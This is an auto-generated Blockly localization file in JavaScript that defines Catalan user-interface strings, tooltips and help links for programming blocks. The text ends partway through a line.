text
stringlengths
2
1.05M
// This file was automatically generated. Do not modify. 'use strict'; goog.provide('Blockly.Msg.ca'); goog.require('Blockly.Msg'); Blockly.Msg.ADD_COMMENT = "Afegeix un comentari"; Blockly.Msg.CANNOT_DELETE_VARIABLE_PROCEDURE = "Can't delete the variable '%1' because it's part of the definition of the function '%2'"; // untranslated Blockly.Msg.CHANGE_VALUE_TITLE = "Canvia valor:"; Blockly.Msg.CLEAN_UP = "Clean up Blocks"; // untranslated Blockly.Msg.COLLAPSE_ALL = "Contraure blocs"; Blockly.Msg.COLLAPSE_BLOCK = "Contraure bloc"; Blockly.Msg.COLOUR_BLEND_COLOUR1 = "color 1"; Blockly.Msg.COLOUR_BLEND_COLOUR2 = "color 2"; Blockly.Msg.COLOUR_BLEND_HELPURL = "http://meyerweb.com/eric/tools/color-blend/"; // untranslated Blockly.Msg.COLOUR_BLEND_RATIO = "proporció"; Blockly.Msg.COLOUR_BLEND_TITLE = "barreja"; Blockly.Msg.COLOUR_BLEND_TOOLTIP = "Barreja dos colors amb una proporció donada (0,0 - 1,0)."; Blockly.Msg.COLOUR_PICKER_HELPURL = "https://ca.wikipedia.org/wiki/Color"; Blockly.Msg.COLOUR_PICKER_TOOLTIP = "Escolliu un color de la paleta."; Blockly.Msg.COLOUR_RANDOM_HELPURL = "http://randomcolour.com"; // untranslated Blockly.Msg.COLOUR_RANDOM_TITLE = "color aleatori"; Blockly.Msg.COLOUR_RANDOM_TOOLTIP = "Escolliu un color a l'atzar."; Blockly.Msg.COLOUR_RGB_BLUE = "blau"; Blockly.Msg.COLOUR_RGB_GREEN = "verd"; Blockly.Msg.COLOUR_RGB_HELPURL = "http://www.december.com/html/spec/colorper.html"; // untranslated Blockly.Msg.COLOUR_RGB_RED = "vermell"; Blockly.Msg.COLOUR_RGB_TITLE = "color amb"; Blockly.Msg.COLOUR_RGB_TOOLTIP = "Crear un color amb les quantitats especificades de vermell, verd i blau. Tots els valors han de ser entre 0 i 100."; Blockly.Msg.CONTROLS_FLOW_STATEMENTS_HELPURL = "https://github.com/google/blockly/wiki/Loops#loop-termination-blocks"; // untranslated Blockly.Msg.CONTROLS_FLOW_STATEMENTS_OPERATOR_BREAK = "sortir del bucle"; Blockly.Msg.CONTROLS_FLOW_STATEMENTS_OPERATOR_CONTINUE = "continuar amb la següent iteració del bucle"; Blockly.Msg.CONTROLS_FLOW_STATEMENTS_TOOLTIP_BREAK = "Sortir del bucle interior."; Blockly.Msg.CONTROLS_FLOW_STATEMENTS_TOOLTIP_CONTINUE = "Ometre la resta d'aquest bucle, i continuar amb la següent iteració."; Blockly.Msg.CONTROLS_FLOW_STATEMENTS_WARNING = "Advertència: Aquest bloc només es pot utilitzar dins d'un bucle."; Blockly.Msg.CONTROLS_FOREACH_HELPURL = "https://github.com/google/blockly/wiki/Loops#for-each"; // untranslated Blockly.Msg.CONTROLS_FOREACH_TITLE = "per a cada element %1 en la llista %2"; Blockly.Msg.CONTROLS_FOREACH_TOOLTIP = "Per a cada element en la llista, desar l'element dins la variable '%1', i llavors executar unes sentències."; Blockly.Msg.CONTROLS_FOR_HELPURL = "https://github.com/google/blockly/wiki/Loops#count-with"; // untranslated Blockly.Msg.CONTROLS_FOR_TITLE = "comptar amb %1 des de %2 fins a %3 en increments de %4"; Blockly.Msg.CONTROLS_FOR_TOOLTIP = "Fer que la variable \"%1\" prengui els valors des del nombre inicial fins al nombre final, incrementant a cada pas l'interval indicat, i executar els blocs especificats."; Blockly.Msg.CONTROLS_IF_ELSEIF_TOOLTIP = "Afegeix una condició al bloc 'si'."; Blockly.Msg.CONTROLS_IF_ELSE_TOOLTIP = "Afegeix una condició final, que recull qualsevol altra possibilitat, al bloc 'si'."; Blockly.Msg.CONTROLS_IF_HELPURL = "https://github.com/google/blockly/wiki/IfElse"; // untranslated Blockly.Msg.CONTROLS_IF_IF_TOOLTIP = "Afegeix, esborra o reordena seccions per reconfigurar aquest bloc 'si'."; Blockly.Msg.CONTROLS_IF_MSG_ELSE = "si no"; Blockly.Msg.CONTROLS_IF_MSG_ELSEIF = "si no, si"; Blockly.Msg.CONTROLS_IF_MSG_IF = "si"; Blockly.Msg.CONTROLS_IF_TOOLTIP_1 = "Si un valor és cert, llavors executar unes sentències."; Blockly.Msg.CONTROLS_IF_TOOLTIP_2 = "Si un valor és cert, llavors executar el primer bloc de sentències. En cas contrari, executar el segon bloc de sentències."; Blockly.Msg.CONTROLS_IF_TOOLTIP_3 = "Si el primer valor és cert, llavors executar el primer bloc de sentències. En cas contrari, si el segon valor és cert, executar el segon bloc de sentències."; Blockly.Msg.CONTROLS_IF_TOOLTIP_4 = "Si el primer valor és cert, llavors executar el primer bloc de sentències. En cas contrari, si el segon valor és cert, executar el segon bloc de sentències. Si cap dels valors és cert, executar l'últim bloc de sentències."; Blockly.Msg.CONTROLS_REPEAT_HELPURL = "https://ca.wikipedia.org/wiki/Bucle_For"; Blockly.Msg.CONTROLS_REPEAT_INPUT_DO = "fer"; Blockly.Msg.CONTROLS_REPEAT_TITLE = "repetir %1 vegades"; Blockly.Msg.CONTROLS_REPEAT_TOOLTIP = "Executar unes sentències diverses vegades."; Blockly.Msg.CONTROLS_WHILEUNTIL_HELPURL = "https://github.com/google/blockly/wiki/Loops#repeat"; // untranslated Blockly.Msg.CONTROLS_WHILEUNTIL_OPERATOR_UNTIL = "repetir fins que"; Blockly.Msg.CONTROLS_WHILEUNTIL_OPERATOR_WHILE = "repetir mentre"; Blockly.Msg.CONTROLS_WHILEUNTIL_TOOLTIP_UNTIL = "Mentre un valor sigui fals, llavors executar unes sentències."; Blockly.Msg.CONTROLS_WHILEUNTIL_TOOLTIP_WHILE = "Mentre un valor sigui cert, llavors executar unes sentències."; Blockly.Msg.DELETE_ALL_BLOCKS = "Esborrar els %1 blocs?"; Blockly.Msg.DELETE_BLOCK = "Esborra bloc"; Blockly.Msg.DELETE_VARIABLE = "Delete the '%1' variable"; // untranslated Blockly.Msg.DELETE_VARIABLE_CONFIRMATION = "Delete %1 uses of the '%2' variable?"; // untranslated Blockly.Msg.DELETE_X_BLOCKS = "Esborra %1 blocs"; Blockly.Msg.DISABLE_BLOCK = "Desactiva bloc"; Blockly.Msg.DUPLICATE_BLOCK = "Duplica"; Blockly.Msg.ENABLE_BLOCK = "Activa bloc"; Blockly.Msg.EXPAND_ALL = "Expandir blocs"; Blockly.Msg.EXPAND_BLOCK = "Expandir bloc"; Blockly.Msg.EXTERNAL_INPUTS = "Entrades externes"; Blockly.Msg.HELP = "Ajuda"; Blockly.Msg.INLINE_INPUTS = "Entrades en línia"; Blockly.Msg.IOS_CANCEL = "Cancel"; // untranslated Blockly.Msg.IOS_ERROR = "Error"; // untranslated Blockly.Msg.IOS_OK = "OK"; // untranslated Blockly.Msg.IOS_PROCEDURES_ADD_INPUT = "+ Add Input"; // untranslated Blockly.Msg.IOS_PROCEDURES_ALLOW_STATEMENTS = "Allow statements"; // untranslated Blockly.Msg.IOS_PROCEDURES_DUPLICATE_INPUTS_ERROR = "This function has duplicate inputs."; // untranslated Blockly.Msg.IOS_PROCEDURES_INPUTS = "INPUTS"; // untranslated Blockly.Msg.IOS_VARIABLES_ADD_BUTTON = "Add"; // untranslated Blockly.Msg.IOS_VARIABLES_ADD_VARIABLE = "+ Add Variable"; // untranslated Blockly.Msg.IOS_VARIABLES_DELETE_BUTTON = "Delete"; // untranslated Blockly.Msg.IOS_VARIABLES_EMPTY_NAME_ERROR = "You can't use an empty variable name."; // untranslated Blockly.Msg.IOS_VARIABLES_RENAME_BUTTON = "Rename"; // untranslated Blockly.Msg.IOS_VARIABLES_VARIABLE_NAME = "Variable name"; // untranslated Blockly.Msg.LISTS_CREATE_EMPTY_HELPURL = "https://github.com/google/blockly/wiki/Lists#create-empty-list"; // untranslated Blockly.Msg.LISTS_CREATE_EMPTY_TITLE = "crear llista buida"; Blockly.Msg.LISTS_CREATE_EMPTY_TOOLTIP = "Retorna una llista, de longitud 0, que no conté cap dada."; Blockly.Msg.LISTS_CREATE_WITH_CONTAINER_TITLE_ADD = "llista"; Blockly.Msg.LISTS_CREATE_WITH_CONTAINER_TOOLTIP = "Afegeix, esborra o reordena seccions per reconfigurar aquest bloc de llista."; Blockly.Msg.LISTS_CREATE_WITH_HELPURL = "https://github.com/google/blockly/wiki/Lists#create-list-with"; // untranslated Blockly.Msg.LISTS_CREATE_WITH_INPUT_WITH = "crear llista amb"; Blockly.Msg.LISTS_CREATE_WITH_ITEM_TOOLTIP = "Afegeix un element a la llista."; Blockly.Msg.LISTS_CREATE_WITH_TOOLTIP = "Crea una llista amb qualsevol nombre d'elements."; Blockly.Msg.LISTS_GET_INDEX_FIRST = "primer"; Blockly.Msg.LISTS_GET_INDEX_FROM_END = "núm.# des del final"; Blockly.Msg.LISTS_GET_INDEX_FROM_START = "#"; // untranslated Blockly.Msg.LISTS_GET_INDEX_GET = "recupera"; Blockly.Msg.LISTS_GET_INDEX_GET_REMOVE = "recupera i esborra"; Blockly.Msg.LISTS_GET_INDEX_LAST = "últim"; Blockly.Msg.LISTS_GET_INDEX_RANDOM = "a l'atzar"; Blockly.Msg.LISTS_GET_INDEX_REMOVE = "esborra"; Blockly.Msg.LISTS_GET_INDEX_TAIL = ""; // untranslated Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_FIRST = "Retorna el primer element d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_FROM = "Retorna l'element de la posició especificada a la llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_LAST = "Retorna l'últim element d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_RANDOM = "Retorna un element a l'atzar d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_REMOVE_FIRST = "Esborra i retorna el primer element d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_REMOVE_FROM = "Esborra i retorna l'element de la posició especificada de la llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_REMOVE_LAST = "Esborra i retorna l'últim element d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_GET_REMOVE_RANDOM = "Esborra i retorna un element a l'atzar d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_REMOVE_FIRST = "Esborra el primer element d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_REMOVE_FROM = "Esborra l'element de la posició especificada de la llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_REMOVE_LAST = "Esborra l'últim element d'una llista."; Blockly.Msg.LISTS_GET_INDEX_TOOLTIP_REMOVE_RANDOM = "Esborra un element a l'atzar d'una llista."; Blockly.Msg.LISTS_GET_SUBLIST_END_FROM_END = "fins # des del final"; Blockly.Msg.LISTS_GET_SUBLIST_END_FROM_START = "fins #"; Blockly.Msg.LISTS_GET_SUBLIST_END_LAST = "fins l'últim"; Blockly.Msg.LISTS_GET_SUBLIST_HELPURL = "https://github.com/google/blockly/wiki/Lists#getting-a-sublist"; // untranslated Blockly.Msg.LISTS_GET_SUBLIST_START_FIRST = "recupera sub-llista des del principi"; Blockly.Msg.LISTS_GET_SUBLIST_START_FROM_END = "recupera sub-llista des de # des del final"; Blockly.Msg.LISTS_GET_SUBLIST_START_FROM_START = "recupera sub-llista des de #"; Blockly.Msg.LISTS_GET_SUBLIST_TAIL = ""; // untranslated Blockly.Msg.LISTS_GET_SUBLIST_TOOLTIP = "Crea una còpia de la part especificada d'una llista."; Blockly.Msg.LISTS_INDEX_FROM_END_TOOLTIP = "%1 és l'últim element."; Blockly.Msg.LISTS_INDEX_FROM_START_TOOLTIP = "%1 és el primer element."; Blockly.Msg.LISTS_INDEX_OF_FIRST = "buscar primera aparició d'un element"; Blockly.Msg.LISTS_INDEX_OF_HELPURL = "https://github.com/google/blockly/wiki/Lists#getting-items-from-a-list"; // untranslated Blockly.Msg.LISTS_INDEX_OF_LAST = "buscar última aparició d'un element"; Blockly.Msg.LISTS_INDEX_OF_TOOLTIP = "Retorna l'índex de la primera/última aparició d'un element a la llista. Retorna %1 si no s'hi troba el text."; Blockly.Msg.LISTS_INLIST = "en la llista"; Blockly.Msg.LISTS_ISEMPTY_HELPURL = "https://github.com/google/blockly/wiki/Lists#is-empty"; // untranslated Blockly.Msg.LISTS_ISEMPTY_TITLE = "%1 és buida"; Blockly.Msg.LISTS_ISEMPTY_TOOLTIP = "Retorna cert si la llista és buida."; Blockly.Msg.LISTS_LENGTH_HELPURL = "https://github.com/google/blockly/wiki/Lists#length-of"; // untranslated Blockly.Msg.LISTS_LENGTH_TITLE = "longitud de %1"; Blockly.Msg.LISTS_LENGTH_TOOLTIP = "Retorna la longitud d'una llista."; Blockly.Msg.LISTS_REPEAT_HELPURL = "https://github.com/google/blockly/wiki/Lists#create-list-with"; // untranslated Blockly.Msg.LISTS_REPEAT_TITLE = "crea llista amb element %1 repetit %2 vegades"; Blockly.Msg.LISTS_REPEAT_TOOLTIP = "Crea una llista formada pel valor donat, repetit tantes vegades com s'indiqui."; Blockly.Msg.LISTS_REVERSE_HELPURL = "https://github.com/google/blockly/wiki/Lists#reversing-a-list"; // untranslated Blockly.Msg.LISTS_REVERSE_MESSAGE0 = "reverse %1"; // untranslated Blockly.Msg.LISTS_REVERSE_TOOLTIP = "Reverse a copy of a list."; // untranslated Blockly.Msg.LISTS_SET_INDEX_HELPURL = "https://github.com/google/blockly/wiki/Lists#in-list--set"; // untranslated Blockly.Msg.LISTS_SET_INDEX_INPUT_TO = "com"; Blockly.Msg.LISTS_SET_INDEX_INSERT = "insereix a"; Blockly.Msg.LISTS_SET_INDEX_SET = "modifica"; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_INSERT_FIRST = "Insereix l'element al principi d'una llista."; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_INSERT_FROM = "Insereix l'element a la posició especificada d'una llista."; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_INSERT_LAST = "Afegeix l'element al final d'una llista."; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_INSERT_RANDOM = "Insereix l'element en una posició a l'atzar d'una llista."; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_SET_FIRST = "Modifica el primer element d'una llista."; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_SET_FROM = "Modifica l'element de la posició especificada d'una llista."; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_SET_LAST = "Modifica l'últim element d'una llista."; Blockly.Msg.LISTS_SET_INDEX_TOOLTIP_SET_RANDOM = "Modifica un element a l'atzar d'una llista."; Blockly.Msg.LISTS_SORT_HELPURL = "https://github.com/google/blockly/wiki/Lists#sorting-a-list"; // untranslated Blockly.Msg.LISTS_SORT_ORDER_ASCENDING = "ascending"; // untranslated Blockly.Msg.LISTS_SORT_ORDER_DESCENDING = "descending"; // untranslated Blockly.Msg.LISTS_SORT_TITLE = "sort %1 %2 %3"; // untranslated Blockly.Msg.LISTS_SORT_TOOLTIP = "Sort a copy of a list."; // untranslated Blockly.Msg.LISTS_SORT_TYPE_IGNORECASE = "alphabetic, ignore case"; // untranslated Blockly.Msg.LISTS_SORT_TYPE_NUMERIC = "numeric"; // untranslated Blockly.Msg.LISTS_SORT_TYPE_TEXT = "alphabetic"; // untranslated Blockly.Msg.LISTS_SPLIT_HELPURL = "https://github.com/google/blockly/wiki/Lists#splitting-strings-and-joining-lists"; // untranslated Blockly.Msg.LISTS_SPLIT_LIST_FROM_TEXT = "make list from text"; // untranslated Blockly.Msg.LISTS_SPLIT_TEXT_FROM_LIST = "make text from list"; // untranslated Blockly.Msg.LISTS_SPLIT_TOOLTIP_JOIN = "Join a list of texts into one text, separated by a delimiter."; // untranslated Blockly.Msg.LISTS_SPLIT_TOOLTIP_SPLIT = "Split text into a list of texts, breaking at each delimiter."; // untranslated Blockly.Msg.LISTS_SPLIT_WITH_DELIMITER = "with delimiter"; // untranslated Blockly.Msg.LOGIC_BOOLEAN_FALSE = "fals"; Blockly.Msg.LOGIC_BOOLEAN_HELPURL = "https://github.com/google/blockly/wiki/Logic#values"; // untranslated Blockly.Msg.LOGIC_BOOLEAN_TOOLTIP = "Retorna o bé cert o bé fals."; Blockly.Msg.LOGIC_BOOLEAN_TRUE = "cert"; Blockly.Msg.LOGIC_COMPARE_HELPURL = "https://ca.wikipedia.org/wiki/Inequaci%C3%B3"; Blockly.Msg.LOGIC_COMPARE_TOOLTIP_EQ = "Retorna cert si totes dues entrades són iguals."; Blockly.Msg.LOGIC_COMPARE_TOOLTIP_GT = "Retorna cert si la primera entrada és més gran que la segona entrada."; Blockly.Msg.LOGIC_COMPARE_TOOLTIP_GTE = "Retorna cert si la primera entrada és més gran o igual a la segona entrada."; Blockly.Msg.LOGIC_COMPARE_TOOLTIP_LT = "Retorna cert si la primera entrada és més petita que la segona entrada."; Blockly.Msg.LOGIC_COMPARE_TOOLTIP_LTE = "Retorna cert si la primera entra és més petita o igual a la segona entrada."; Blockly.Msg.LOGIC_COMPARE_TOOLTIP_NEQ = "Retorna cert si totes dues entrades són diferents."; Blockly.Msg.LOGIC_NEGATE_HELPURL = "https://github.com/google/blockly/wiki/Logic#not"; // untranslated Blockly.Msg.LOGIC_NEGATE_TITLE = "no %1"; Blockly.Msg.LOGIC_NEGATE_TOOLTIP = "Retorna cert si l'entrada és falsa. Retorna fals si l'entrada és certa."; Blockly.Msg.LOGIC_NULL = "nul"; Blockly.Msg.LOGIC_NULL_HELPURL = "https://en.wikipedia.org/wiki/Nullable_type"; // untranslated Blockly.Msg.LOGIC_NULL_TOOLTIP = "Retorna nul."; Blockly.Msg.LOGIC_OPERATION_AND = "i"; Blockly.Msg.LOGIC_OPERATION_HELPURL = "https://github.com/google/blockly/wiki/Logic#logical-operations"; // untranslated Blockly.Msg.LOGIC_OPERATION_OR = "o"; Blockly.Msg.LOGIC_OPERATION_TOOLTIP_AND = "Retorna cer si totes dues entrades són certes."; Blockly.Msg.LOGIC_OPERATION_TOOLTIP_OR = "Retorna cert si almenys una de les entrades és certa."; Blockly.Msg.LOGIC_TERNARY_CONDITION = "condició"; Blockly.Msg.LOGIC_TERNARY_HELPURL = "https://en.wikipedia.org/wiki/%3F:"; // untranslated Blockly.Msg.LOGIC_TERNARY_IF_FALSE = "si és fals"; Blockly.Msg.LOGIC_TERNARY_IF_TRUE = "si és cert"; Blockly.Msg.LOGIC_TERNARY_TOOLTIP = "Comprova la condició de 'condició'. Si la condició és certa, retorna el valor 'si és cert'; en cas contrari, retorna el valor 'si és fals'."; Blockly.Msg.MATH_ADDITION_SYMBOL = "+"; // untranslated Blockly.Msg.MATH_ARITHMETIC_HELPURL = "https://ca.wikipedia.org/wiki/Aritm%C3%A8tica"; Blockly.Msg.MATH_ARITHMETIC_TOOLTIP_ADD = "Retorna la suma dels dos nombres."; Blockly.Msg.MATH_ARITHMETIC_TOOLTIP_DIVIDE = "Retorna el quocient dels dos nombres."; Blockly.Msg.MATH_ARITHMETIC_TOOLTIP_MINUS = "Retorna la diferència entre els dos nombres."; Blockly.Msg.MATH_ARITHMETIC_TOOLTIP_MULTIPLY = "Retorna el producte del dos nombres."; Blockly.Msg.MATH_ARITHMETIC_TOOLTIP_POWER = "Retorna el primer nombre elevat a la potència indicada pel segon nombre."; Blockly.Msg.MATH_CHANGE_HELPURL = "https://ca.wikipedia.org/wiki/Suma"; Blockly.Msg.MATH_CHANGE_TITLE = "canvia %1 per %2"; Blockly.Msg.MATH_CHANGE_TOOLTIP = "Afegeix un nombre a la variable '%1'."; Blockly.Msg.MATH_CONSTANT_HELPURL = "https://ca.wikipedia.org/wiki/Constant_matem%C3%A0tica"; Blockly.Msg.MATH_CONSTANT_TOOLTIP = "Retorna una de les constants més habituals: π (3,141…), e (2,718…), φ (1,618…), sqrt(2) (1,414…), sqrt(½) (0,707…), o ∞ (infinit)."; Blockly.Msg.MATH_CONSTRAIN_HELPURL = "https://en.wikipedia.org/wiki/Clamping_(graphics)"; // untranslated Blockly.Msg.MATH_CONSTRAIN_TITLE = "limitar %1 entre %2 i %3"; Blockly.Msg.MATH_CONSTRAIN_TOOLTIP = "Limita un nombre perquè estigui entre els límits especificats (inclosos)."; Blockly.Msg.MATH_DIVISION_SYMBOL = "÷"; // untranslated Blockly.Msg.MATH_IS_DIVISIBLE_BY = "és divisible per"; Blockly.Msg.MATH_IS_EVEN = "és parell"; Blockly.Msg.MATH_IS_NEGATIVE = "és negatiu"; Blockly.Msg.MATH_IS_ODD = "és senar"; Blockly.Msg.MATH_IS_POSITIVE = "és positiu"; Blockly.Msg.MATH_IS_PRIME = "és primer"; Blockly.Msg.MATH_IS_TOOLTIP = "Comprova si un nombre és parell, senar, enter, positium negatiu, o si és divisible per un cert nombre. Retorna cert o fals."; Blockly.Msg.MATH_IS_WHOLE = "és enter"; Blockly.Msg.MATH_MODULO_HELPURL = "https://ca.wikipedia.org/wiki/Residu_%28aritm%C3%A8tica%29"; Blockly.Msg.MATH_MODULO_TITLE = "residu de %1 ÷ %2"; Blockly.Msg.MATH_MODULO_TOOLTIP = "Retorna el residu de dividir els dos nombres."; Blockly.Msg.MATH_MULTIPLICATION_SYMBOL = "×"; // untranslated Blockly.Msg.MATH_NUMBER_HELPURL = "https://ca.wikipedia.org/wiki/Nombre"; Blockly.Msg.MATH_NUMBER_TOOLTIP = "Un nombre."; Blockly.Msg.MATH_ONLIST_HELPURL = ""; // untranslated Blockly.Msg.MATH_ONLIST_OPERATOR_AVERAGE = "mitjana de llista"; Blockly.Msg.MATH_ONLIST_OPERATOR_MAX = "màxim de llista"; Blockly.Msg.MATH_ONLIST_OPERATOR_MEDIAN = "mediana de llista"; Blockly.Msg.MATH_ONLIST_OPERATOR_MIN = "mínim de llista"; Blockly.Msg.MATH_ONLIST_OPERATOR_MODE = "moda de llista"; Blockly.Msg.MATH_ONLIST_OPERATOR_RANDOM = "element aleatori de llista"; Blockly.Msg.MATH_ONLIST_OPERATOR_STD_DEV = "desviació estàndard de llista"; Blockly.Msg.MATH_ONLIST_OPERATOR_SUM = "suma de llista"; Blockly.Msg.MATH_ONLIST_TOOLTIP_AVERAGE = "Retorna la mitjana (mitjana aritmètica) dels valors numèrics de la llista."; Blockly.Msg.MATH_ONLIST_TOOLTIP_MAX = "Retorna el nombre més gran de la llista."; Blockly.Msg.MATH_ONLIST_TOOLTIP_MEDIAN = "Retorna la mediana de la llista."; Blockly.Msg.MATH_ONLIST_TOOLTIP_MIN = "Retorna el nombre més petit de la llista."; Blockly.Msg.MATH_ONLIST_TOOLTIP_MODE = "Retorna una llista dels elements que apareixen més vegades a la llista."; Blockly.Msg.MATH_ONLIST_TOOLTIP_RANDOM = "Retorna un element aleatori de la lllista."; Blockly.Msg.MATH_ONLIST_TOOLTIP_STD_DEV = "Retorna la desviació estàndard de la llista."; Blockly.Msg.MATH_ONLIST_TOOLTIP_SUM = "Retorna la suma de tots els nombres de la llista."; Blockly.Msg.MATH_POWER_SYMBOL = "^"; // untranslated Blockly.Msg.MATH_RANDOM_FLOAT_HELPURL = "https://ca.wikipedia.org/wiki/Generaci%C3%B3_de_nombres_aleatoris"; Blockly.Msg.MATH_RANDOM_FLOAT_TITLE_RANDOM = "fracció aleatòria"; Blockly.Msg.MATH_RANDOM_FLOAT_TOOLTIP = "Retorna una fracció aleatòria entre 0,0 (inclòs) i 1,0 (exclòs)."; Blockly.Msg.MATH_RANDOM_INT_HELPURL = "https://ca.wikipedia.org/wiki/Generaci%C3%B3_de_nombres_aleatoris"; Blockly.Msg.MATH_RANDOM_INT_TITLE = "nombre aleatori entre %1 i %2"; Blockly.Msg.MATH_RANDOM_INT_TOOLTIP = "Retorna un nombre aleatori entre els dos límits especificats, inclosos."; Blockly.Msg.MATH_ROUND_HELPURL = "https://ca.wikipedia.org/wiki/Arrodoniment"; Blockly.Msg.MATH_ROUND_OPERATOR_ROUND = "arrodonir"; Blockly.Msg.MATH_ROUND_OPERATOR_ROUNDDOWN = "arrodonir cap avall"; Blockly.Msg.MATH_ROUND_OPERATOR_ROUNDUP = "arrodonir cap amunt"; Blockly.Msg.MATH_ROUND_TOOLTIP = "Arrodonir un nombre cap amunt o cap avall."; Blockly.Msg.MATH_SINGLE_HELPURL = "https://ca.wikipedia.org/wiki/Arrel_quadrada"; Blockly.Msg.MATH_SINGLE_OP_ABSOLUTE = "absolut"; Blockly.Msg.MATH_SINGLE_OP_ROOT = "arrel quadrada"; Blockly.Msg.MATH_SINGLE_TOOLTIP_ABS = "Retorna el valor absolut d'un nombre."; Blockly.Msg.MATH_SINGLE_TOOLTIP_EXP = "Retorna ''e'' elevat a la potència del nombre indicat."; Blockly.Msg.MATH_SINGLE_TOOLTIP_LN = "Retorna el logaritme natural d'un nombre."; Blockly.Msg.MATH_SINGLE_TOOLTIP_LOG10 = "Retorna el logaritme en base 10 d'un nombre."; Blockly.Msg.MATH_SINGLE_TOOLTIP_NEG = "Retorna l'oposat d'un nombre."; Blockly.Msg.MATH_SINGLE_TOOLTIP_POW10 = "Retorna 10 elevat a la potència del nombre indicat."; Blockly.Msg.MATH_SINGLE_TOOLTIP_ROOT = "Retorna l'arrel quadrada d'un nombre."; Blockly.Msg.MATH_SUBTRACTION_SYMBOL = "-"; // untranslated Blockly.Msg.MATH_TRIG_ACOS = "acos"; // untranslated Blockly.Msg.MATH_TRIG_ASIN = "asin"; // untranslated Blockly.Msg.MATH_TRIG_ATAN = "atan"; // untranslated Blockly.Msg.MATH_TRIG_COS = "cos"; // untranslated Blockly.Msg.MATH_TRIG_HELPURL = "https://ca.wikipedia.org/wiki/Funci%C3%B3_trigonom%C3%A8trica"; Blockly.Msg.MATH_TRIG_SIN = "sin"; // untranslated Blockly.Msg.MATH_TRIG_TAN = "tan"; // untranslated Blockly.Msg.MATH_TRIG_TOOLTIP_ACOS = "Retorna l'arccosinus d'un nombre."; Blockly.Msg.MATH_TRIG_TOOLTIP_ASIN = "Retorna l'arcsinus d'un nombre."; Blockly.Msg.MATH_TRIG_TOOLTIP_ATAN = "Retorna l'arctangent d'un nombre."; Blockly.Msg.MATH_TRIG_TOOLTIP_COS = "Retorna el cosinus d'un grau (no radiant)."; Blockly.Msg.MATH_TRIG_TOOLTIP_SIN = "Retorna el sinus d'un grau (no radiant)."; Blockly.Msg.MATH_TRIG_TOOLTIP_TAN = "Retorna la tangent d'un grau (no radiant)."; Blockly.Msg.NEW_VARIABLE = "Nova variable..."; Blockly.Msg.NEW_VARIABLE_TITLE = "Nou nom de variable:"; Blockly.Msg.ORDINAL_NUMBER_SUFFIX = ""; // untranslated Blockly.Msg.PROCEDURES_ALLOW_STATEMENTS = "permetre declaracions"; Blockly.Msg.PROCEDURES_BEFORE_PARAMS = "amb:"; Blockly.Msg.PROCEDURES_CALLNORETURN_HELPURL = "https://ca.wikipedia.org/wiki/Procediment_%28Programació%29"; Blockly.Msg.PROCEDURES_CALLNORETURN_TOOLTIP = "Executa la funció definida per usuari '%1'."; Blockly.Msg.PROCEDURES_CALLRETURN_HELPURL = "https://ca.wikipedia.org/wiki/Procediment_%28Programació%29"; Blockly.Msg.PROCEDURES_CALLRETURN_TOOLTIP = "Executa la funció definida per l'usuari '%1' i utilitza la seva sortida."; Blockly.Msg.PROCEDURES_CALL_BEFORE_PARAMS = "amb:"; Blockly.Msg.PROCEDURES_CREATE_DO = "Crear '%1'"; Blockly.Msg.PROCEDURES_DEFNORETURN_COMMENT = "Describe this function..."; // untranslated Blockly.Msg.PROCEDURES_DEFNORETURN_DO = ""; // untranslated Blockly.Msg.PROCEDURES_DEFNORETURN_HELPURL = "https://en.wikipedia.org/wiki/Subroutine"; // untranslated Blockly.Msg.PROCEDURES_DEFNORETURN_PROCEDURE = "fes alguna cosa"; Blockly.Msg.PROCEDURES_DEFNORETURN_TITLE = "a"; Blockly.Msg.PROCEDURES_DEFNORETURN_TOOLTIP = "Crea una funció sense sortida."; Blockly.Msg.PROCEDURES_DEFRETURN_HELPURL = "https://en.wikipedia.org/wiki/Subroutine"; // untranslated Blockly.Msg.PROCEDURES_DEFRETURN_RETURN = "retorna"; Blockly.Msg.PROCEDURES_DEFRETURN_TOOLTIP = "Crea una funció amb una sortida."; Blockly.Msg.PROCEDURES_DEF_DUPLICATE_WARNING = "Advertència: Aquesta funció té paràmetres duplicats."; Blockly.Msg.PROCEDURES_HIGHLIGHT_DEF = "Iluminar la definició de la funció"; Blockly.Msg.PROCEDURES_IFRETURN_HELPURL = "http://c2.com/cgi/wiki?GuardClause"; // untranslated Blockly.Msg.PROCEDURES_IFRETURN_TOOLTIP = "Si el valor és cert, llavors retorna un segon valor."; Blockly.Msg.PROCEDURES_IFRETURN_WARNING = "Advertència: Aquest bloc només es pot utilitzar dins de la definició d'una funció."; Blockly.Msg.PROCEDURES_MUTATORARG_TITLE = "nom d'entrada:"; Blockly.Msg.PROCEDURES_MUTATORARG_TOOLTIP = "Afegir una entrada per la funció."; Blockly.Msg.PROCEDURES_MUTATORCONTAINER_TITLE = "entrades"; Blockly.Msg.PROCEDURES_MUTATORCONTAINER_TOOLTIP = "Afegir, eliminar o canviar l'ordre de les entrades per aquesta funció."; Blockly.Msg.REDO = "Redo"; // untranslated Blockly.Msg.REMOVE_COMMENT = "Elimina el comentari"; Blockly.Msg.RENAME_VARIABLE = "Reanomena variable..."; Blockly.Msg.RENAME_VARIABLE_TITLE = "Reanomena totes les variables '%1' a:"; Blockly.Msg.TEXT_APPEND_APPENDTEXT = "afegir text"; Blockly.Msg.TEXT_APPEND_HELPURL = "https://github.com/google/blockly/wiki/Text#text-modification"; // untranslated Blockly.Msg.TEXT_APPEND_TO = "a"; Blockly.Msg.TEXT_APPEND_TOOLTIP 